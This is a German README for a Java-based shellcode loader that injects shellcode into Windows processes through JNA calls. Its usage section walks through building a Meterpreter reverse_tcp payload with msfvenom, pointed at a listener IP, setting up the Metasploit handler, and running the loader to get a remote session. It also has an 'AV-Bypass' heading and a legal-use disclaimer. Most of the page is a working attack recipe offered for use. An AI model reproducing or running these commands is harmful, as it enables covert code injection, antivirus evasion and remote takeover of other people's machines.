Java-Shellcode-Loader

Java ShellCode Loader

Ein auf Java basierender ShellCode-Loader, kompatibel mit 32-Bit- und 64-Bit-Plattformen.

Das Kernprinzip besteht darin, JNA zum Aufruf der Windows-API zu nutzen, um die Shellcode-Injektion zu ermöglichen.

Laufzeitumgebung: Jre >= 1.5

Hinweis: Dieses Projekt ist bereits in das ShellCodeLoader-Modul von yzddmr6/As-Exploits integriert.

Kompilierung

maven package

Verwendung

Standardmäßig wird ein zufälliger 32-Bit-Prozess injiziert. Bitte verwenden Sie einen 32-Bit-Shellcode.

java -jar ShellcodeLoader.jar shellcode_hex

Injektion von x64-Shellcode

java -jar ShellcodeLoader.jar --x64 shellcode_hex

Beispiel

kali

ShellCode im Hex-Format erzeugen

┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of hex file: 708 bytes
fce88f0000006089e531d2648b5....

Anschließend den Listener starten

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.10
set LPORT 4444
exploit -j

Client

java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5....

Damit wird eine Reverse-Meterpreter-Session empfangen.

AV-Bypass

Hinweise

Dieses Projekt dient ausschließlich zu Referenz- und Lernzwecken für legale Penetrationstests sowie für Enthusiasten. Verwenden Sie es nicht für illegale Zwecke, andernfalls übernehmen Sie die damit verbundene Verantwortung selbst.